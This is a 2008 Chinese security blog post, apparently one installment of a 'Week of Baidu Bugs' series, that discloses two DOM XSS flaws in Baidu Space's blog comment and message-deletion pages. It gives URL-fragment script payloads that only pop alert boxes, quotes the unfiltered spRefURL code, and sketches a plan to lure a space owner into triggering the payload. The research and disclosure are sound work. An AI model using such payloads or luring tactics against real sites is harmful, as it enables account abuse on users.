Secur1ty just lik3 a girl. B0th of th3m h4ve s0me h0les. Y0u alw4ys try to f1nd the h0le, but n0t 3very tim3 y0u c4n 3xpl0it it!
查看文章 |
The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞(下)
2008-07-14 10:56
注:版权所有,转载请注明出处。 继续前面的话题。 讲点题外话,写这个WoBB系列确实是有点累,截图、贴代码、写文字、校稿都要花费我不少时间。 大家多给我点支持,我争取把这个连载写完,尽量不做太监~~。 以前还梦想着以后去写YY小说,看这样子,说不定什么时候就进宫了。 扯完淡了,继续讲漏洞。 Baidu的DOM XSS漏洞大部分是出在 spRefURL 这个参数上的。 这个参数应该是用来统计 Referer 字段一类的作用,也可能是baidu的数据仓库用来收集用户行为所布下的暗桩(我很喜欢牛博威用的这个词~~~~多形象啊~~~呵呵)。 但是这个参数往往在收集URL的同时,也把我们的XSS脚本给收集进去了。 看如下漏洞。 XSS 3: 百度空间博客评论处DOM XSS 测试方法如下: 进入以下URL(用户名和帖子ID自己替换,别傻的直接点了然后告诉我测试无效): http://hi.baidu.com/testuser/blog/item/e3713128deadbabe99250a9e#'><script>alert(/fvck+baidu/);</script><' 可以看到,我们的可爱的小框再次弹出来了! ![]() 有多少评论,这个小框就会弹多少次。 漏洞原因还是和XSS 2一样,如下: 表单中用js动态获取url <form name="form1" id="popFormSubmit" action="/testuser/commit" method="post" onSubmit="return checkcmtform()"> <input type="hidden" name="ct" value="8"> <input type="hidden" name="cm" value="1"> <input type="hidden" name="spBlogID" value="1f9a3aacaff38d0c4b36d6f5"> <script LANGUAGE="JavaScript"> document.write("<input type='hidden' name='spRefURL' value='"+window.location.href+"'>"); </script> <div class="tit">发表评论:</div> <table width="620" border="0" cellspacing="5" cellpadding="0"> <tr> 这个叫popFormSubmit的表单挺造孽的,很多地方都有它!估计很快就会补。 如果说上面这个漏洞和前面的有点雷同的话,那么接下来讲的这个就有点细微的差别了。 XSS 4: 百度空间删除留言DOM XSS漏洞 测试方法: 输入以下URL: http://hi.baidu.com/testuser/profile#";alert(/FVCK+BAIDU+XSS/);" 或者如下URL: http://hi.baidu.com/testuser/board#";alert(/FVCK+BAIDU+XSS/);" 当然,你要是在登录状态下。 进入之后,我们看到好像什么都没有~~,没错,就是什么都没有。 这时候如果你有留言,那么,删除它,如果没有,自己写个留言,再去删除它。 在提交删除后,就会看到我们可爱的小框框弹出来啦~~! ![]() 问题出在提交表单后的返回页面上。 表单提交时: function delete_comment(cmt_id){ var pop = new Popup({ contentType:3,isReloadOnClose:false,width:340,height:80}); pop.setContent("title","删除留言"); pop.setContent("confirmCon","您确定要彻底删除该留言吗?"); pop.setContent("callBack", function(){ pop.config.contentType = 1; pop.setContent("contentUrl", ""); pop.reBuild(); document.comment_delete_form.target = pop.iframeIdName; document.comment_delete_form.spBCmtID.value = cmt_id; document.comment_delete_form.spRefURL.value = location.href; document.comment_delete_form.submit(); }); pop.build(); pop.show(); return false; } Baidu通过commit做了很多操作,几乎所有表单都是由commit返回的。 在返回时,会有一个动态结果,这里的漏洞就出在这个动态返回结果上。 以下是页面返回后的代码: <!--STATUS OK--> ...... <!-- 以下部分是动态提交内容 //--> ...... <!-- 42.删除留言 --> <script language="javascript"> <!-- writestr("留言删除成功!"); var ref="http://hi.baidu.com/testuser/board#";alert(/XSS/);""; if(ref.match(/board\/boardid/gi)){ url="http://hi.baidu.com/testtest9/board" }else{ url=ref; } function gotCmtUrl() { if(top.location.href==url) top.location.reload(); else top.location.href=url; } //gotourl(url); //setTimeout(function(){top.location.href=url;},600); setTimeout("gotCmtUrl()",600); //--> </script> </div> </body> </html> 由于ref直接引用了url, 而没有做任何过滤,所以我们就可以把js直接写进该返回页面中。 设想如下场景: 在某空间留言辱骂主人,然后将URL copy给主人或诱使其去看,主人一怒下删除之,然后就XXXXXXX 具体利用见仁见智了。 欲知后事如何,且听下回分解。 PS: 本次活动仅仅是个人行为,与任何组织或集体无关. |
最近读者:

